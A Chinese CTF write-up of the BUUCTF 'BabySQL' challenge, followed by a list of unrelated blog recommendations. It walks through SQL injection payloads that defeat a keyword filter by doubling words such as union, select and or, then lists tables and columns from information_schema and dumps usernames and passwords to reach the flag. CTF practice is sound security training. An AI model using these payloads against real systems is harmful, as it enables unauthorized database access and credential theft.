BUU13 [极客大挑战 2019]BabySQL 1

题目中过滤了or,需要使用万能密码的变形(将or替换成 || )

登进去没什么用,我们直接在用户名中输入or,select,union,where,from等词语全被过滤了,那还玩个锤子

网上一搜需要使用双写绕过

我们输入1' || 1=1 order by 3 #,发现or和by被过滤掉了

所以需要双写 or 和 by 输入 1' || 1=1 oorrder bbyy 3 #

登陆成功,说明有三列

1' ununionion selselectect 1,2,database() #

输入1' ununionion selselectect 1,2,group_concat(table_name) frfromom information_schema.tables whwhereere table_schema='geek' #

information里头有or,也被过滤了,所以需要双写

1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='b4bsql'#

1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

flag{fe9beefe-0390-4b0c-8214-57bfbaa43ae7}

和Lovely SQL1一个套路,只不过需要双写绕过

相关推荐
IvorySQL17 小时前
用生成列提升 JSONB 查询效率:PostgreSQL 三种索引方案实测对比
数据库·postgresql
STDD17 小时前
Abiotic Factor多人生存建筑游戏《非生物因素》 专用服务器搭建教程
服务器·数据库·游戏
淼淼爱喝水17 小时前
【Ansible 入门实战】三种变量详解
java·linux·数据库·ansible·playbook
云草桑17 小时前
Odoo企业商用到底是不是免费的?
数据库·odoo·erp
燕-孑18 小时前
redis详解-进阶
数据库·redis·缓存
BGD1045017318 小时前
datagear(7)-期末作业:综合数据分析
数据库·数据分析
Hoxy.R18 小时前
百家争鸣下的 Vastbase G100:一次国产数据库体验与思考
数据库
gf132111118 小时前
python_更新飞书多维表格的单项关联字段
数据库·python·飞书
染指111018 小时前
8.向量数据库-RAG基础2
大数据·数据库·人工智能·rag
随身数智备忘录18 小时前
从点检到全生命周期:设备管理体系能解决哪些场景痛点?一套设备管理体系的实战应用
java·网络·数据库